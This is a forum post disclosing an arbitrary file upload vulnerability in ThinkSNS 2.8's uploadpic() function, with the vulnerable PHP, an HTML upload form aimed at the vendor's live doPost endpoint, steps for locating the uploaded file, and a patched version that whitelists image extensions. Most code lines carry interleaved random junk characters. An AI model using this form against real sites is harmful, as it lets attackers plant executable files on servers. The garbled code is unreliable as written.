找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2403|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
' l( i) m4 k# O* ~+ V
: v: |% p8 x# K" z2 \$ |/ U 1 F0 L* G+ A' [
\api\StatusesApi.class.php0 n0 X& Q7 j' O0 {. r) e/ |/ X! f
2 M* L/ w( L( g5 s7 u/ Y0 Q2 {& A
function uploadpic(){
2 w* l9 h! w7 B7 d( ]      if( $_FILES['pic'] ){" e6 b9 j2 y2 a" V5 W: \4 o/ P: ?
     //执行上传操作; w$ O! ?$ C- G
     $savePath =  $this->_getSaveTempPath();5 Q+ V- a9 b/ r- J4 {7 y( ?. [1 w
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
: d5 S! Q7 }+ ?; b    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename)); V: D, {% A- _; m( X9 e& V! U% |3 V  q
       {
% p4 }; R0 r6 [% D8 c- V6 e        $result['boolen']    = 1;
; i+ Y; p5 h6 v1 Q3 m  Q# B% g6 h        $result['type_data'] = 'temp/'.$filename;
% T- \+ o" s( u  O% q        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;+ V/ @( y  P2 l9 k
       } else {
1 Q/ ~- ]; s& I: k2 T  d        $result['boolen']    = 0;( D0 Y- V- h; I7 v7 C; _5 I
        $result['message']   = '上传失败';
9 |; C2 R2 E1 B) n# T) }       }
& [" ~! ]% B" D+ I/ e* a! J" J+ Q- u     }else{. W: m9 R% a5 M4 d
         $result['boolen']    = 0;
& L7 U) A& U5 ~         $result['message']   = '上传失败';
9 W0 a0 e# `7 G1 a1 O     }
/ j" z$ E+ ]: }return $result;; q/ D, _5 ~% d
    }
9 X# M  _$ r; `9 @% Kunloadpic()方法没有对文件类型进行验证0 F6 P$ x2 F& }- Q9 e
, V; k$ i( z- P# T+ {" B. H- C3 i
可以构建表单, 选择任意文件, 提交到& @* \: ~& `1 p
/index.php?app=w3g&mod=Index&act=doPost
) F0 ~: K% l+ P% d + G* w( P! e9 l: b& x
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
; K  x& b& z5 h: H' s# H7 r( t4 F7 r/ i. r" d+ O) x

6 o0 E& w, T2 _, K' Q" Z: \  X在登录thinksns官方微博后,
5 E6 i) w8 S  f; P构建以下表单:7 r6 \; J4 i% H4 a- l' K

0 c+ T! b6 q- T6 O) I) [/ q1 ^- J) y<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
1 P4 @: K5 i0 b' T; r8 u) X* E8 z<textarea name="content">test</textarea>6 t( W& t8 L8 x
file: <input id="file" type="file" name="pic" />1 k& |# t9 [! p! P/ T+ b
<input type="submit" value="Post" />7 @. u3 V% g1 v# D
</form>
  ]+ [8 C# g8 o6 i4 Y去掉缩略图的前缀(small_ ); `* R( L( k5 Z) [2 V2 x9 q1 T
​修复方案:
1 v- y( V1 O* c0 i' h3 v+ B( r
2 G1 m( V5 n5 n$ j6 }; b
\api\StatusesApi.class.php
- L* L$ |( h, l$ ^& i, T4 r
+ Z: l9 ^; Y$ dfunction uploadpic(){
  \1 |$ ~) D; K- u7 B     /**3 @4 w5 X9 j  V4 ^' o, m" y
      * 20121018 @yelo
& J7 O% S. R, T9 }5 ?      * 增加上传类型验证# [' }' h" D  K) {& O, ?- A
      */6 `. n% L- J# H% `
     $pathinfo = pathinfo($_FILES['pic']['name']);- `' v6 G$ j2 a* ]8 F! d, T
     $ext = $pathinfo['extension'];/ J8 P$ v( P5 U0 U6 h6 V! e, \
$allowExts = array('jpg', 'png', 'gif', 'jpeg');; F5 M# P* l4 G4 O$ N. v( M  }
6 J3 g, I$ d' \4 D; W
     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);) E4 _6 N" B8 T$ |5 ?
8 X6 K2 Y% c7 ?  [" {$ {& V" V
     if( $uploadCondition ){
8 Y; _7 U9 ]5 o# _$ \) W/ b; n     //执行上传操作
7 D. Q% z- G" s" k" i5 K, g     $savePath =  $this->_getSaveTempPath();
9 A) n3 l' `0 `1 p' ]     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
$ b; p& T7 {4 s- ^$ H9 [" W    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
/ i+ o4 ]  [' W3 p6 t$ S       {
2 N+ x' `& W8 M; u/ G7 s) b        $result['boolen']    = 1;
# i3 h+ A2 m4 `5 x        $result['type_data'] = 'temp/'.$filename;
2 D1 F) h' n0 {/ H        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
0 w0 |8 T: @2 U) c       } else {5 x! p$ q( O0 S* n( r) q3 |
        $result['boolen']    = 0;: u" o# ]9 N  a" k% J
        $result['message']   = '上传失败';
9 t! g( y: }; I5 m. O! h! ?       }1 G% d4 y8 w- J8 O9 M. H0 d
     }else{
. N- L4 \; q; @# y/ k. \         $result['boolen']    = 0;# M/ Y  ]% I( n
         $result['message']   = '上传失败';
. s! h' D8 C: _4 |" O' @  U     }+ J8 a0 {, W8 K. t/ p
return $result;
! h8 c( h3 d4 F& x. t) r$ @. A    }
  U& s+ q. w9 D* {5 |​
4 K" @! m1 R1 i7 U4 `' O( w
3 ~' f% v1 J% d* x9 Z+ v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表